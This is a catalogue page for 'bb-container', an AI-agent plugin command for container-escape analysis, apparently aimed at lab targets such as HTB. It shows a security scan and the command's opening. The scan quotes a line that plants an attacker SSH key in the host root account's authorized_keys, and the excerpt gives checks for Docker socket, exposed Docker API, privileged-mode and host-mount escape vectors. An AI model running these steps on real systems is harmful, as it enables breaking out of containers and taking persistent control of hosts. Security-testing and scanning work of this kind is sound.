Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add commands/allsmog/blackbox-claude-plugin/bb-containergit clone --depth 1 https://github.com/allsmog/blackbox-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-container)<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-container"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-container.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00009 | $0.01447 |
| Opus 5 | $0.00005 | $0.00724 |
| Sonnet 5 | $0.00002 | $0.00289 |
| Haiku 4.5 | $0.00001 | $0.00145 |
Grade C, and why
bb-container scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
echo "ssh-rsa AAAA... attacker@kali" >> /host/root/.ssh/authorized_keys Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s --unix-socket /var/run/docker.sock http://localhost/version How it starts
The opening of the file, as written. The whole thing — 175 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Container Escape Analysis
Purpose
When you have shell access inside a container, this command systematically checks all escape vectors and provides ready-to-run exploitation commands.
Workflow
Step 1: Confirm Container Environment
Run these checks to confirm containerization:
# Quick container detection
echo "[*] Container Detection"
[ -f /.dockerenv ] && echo "[+] Docker: /.dockerenv found"
grep -q docker /proc/1/cgroup 2>/dev/null && echo "[+] Docker: cgroup match"
grep -q lxc /proc/1/cgroup 2>/dev/null && echo "[+] LXC container"
[ -d /var/run/secrets/kubernetes.io ] && echo "[+] Kubernetes pod"
echo "[*] Hostname: $(hostname)"
echo "[*] Processes: $(ps aux 2>/dev/null | wc -l)"
Step 2: Check Escape Vectors
Docker Socket
echo "[*] Checking Docker socket..."
if [ -S /var/run/docker.sock ]; then
echo "[!] VULNERABLE: Docker socket found!"
curl -s --unix-socket /var/run/docker.sock http://localhost/version
fi
Docker Desktop API (Critical for HTB Windows hosts)
echo "[*] Checking Docker Desktop API..."
for ip in 192.168.65.7 192.168.65.1 host.docker.internal 172.17.0.1 172.18.0.1; do
if curl -s -m 2 http://$ip:2375/version 2>/dev/null | grep -q Version; then
echo "[!] VULNERABLE: Docker API at $ip:2375"
fi
done
Privileged Mode
echo "[*] Checking privileged mode..."
if fdisk -l 2>/dev/null | grep -q "/dev/"; then
echo "[!] VULNERABLE: Privileged container - can access disks"
fdisk -l 2>/dev/null | grep "^Disk /dev"
fi
Capabilities
echo "[*] Checking capabilities..."
capsh --print 2>/dev/null | grep -E "cap_sys_admin|cap_sys_ptrace|cap_net_admin" && \
echo "[!] Dangerous capabilities found"
Host Mounts
echo "[*] Checking for host filesystem..."
for path in /host /hostfs /mnt/host /rootfs; do
[ -f "$path/etc/passwd" ] && echo "[!] Host filesystem at $path"
done
Step 3: Exploitation
Based on findings, use appropriate escape:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 175 lines · 9 tokens per session scan C 3d419454073e
bb-container is a command published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 9 tokens to every session and 1,447 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
bun:deploy
Deploy Bun applications to various platforms.
secrets
Secrets strategy, External Secrets Operator scaffolding, Sealed Secrets seal/rotate/backup, rotation runbooks, and Kubernetes-side secrets audit.
runtime-security
Detect and respond to in-container threats at the syscall level using Falco (eBPF-based, CNCF, open-source, no license cost). Covers Falco installation on EKS/GKE with eBPF driver, custom rule authoring, alert routing via Falcosidekick, rule debugging, and bridging Falco runtime signals to Kyverno admission…
supply-chain
Secure the software supply chain from source to running container. Covers Cosign keyless image signing (Sigstore/Rekor), SBOM generation and attestation (Syft), vulnerability scanning with severity gates (Trivy/Grype), SLSA Level 2 provenance, and Kyverno/OPA admission enforcement. All open-source, no license cost.…
chaos
Design, run, and debug Chaos Engineering experiments on Kubernetes using Litmus Chaos v3 and Chaos Mesh v2. Covers fault injection (pod-delete, network-loss, CPU stress, node-drain), steady-state hypothesis probes, GameDay runbooks, scheduled experiments, DORA feedback loop, and RBAC setup. Use when asked to "inject a…
pentest
Activate pentest mode — displays ASCII art, configures session isolation, collects engagement scope, then OWNS the engagement: pre-flight, recon, planning (via the pentester-orchestrator planner), executor dispatch, a time-budget quota loop, aggregation, and report generation.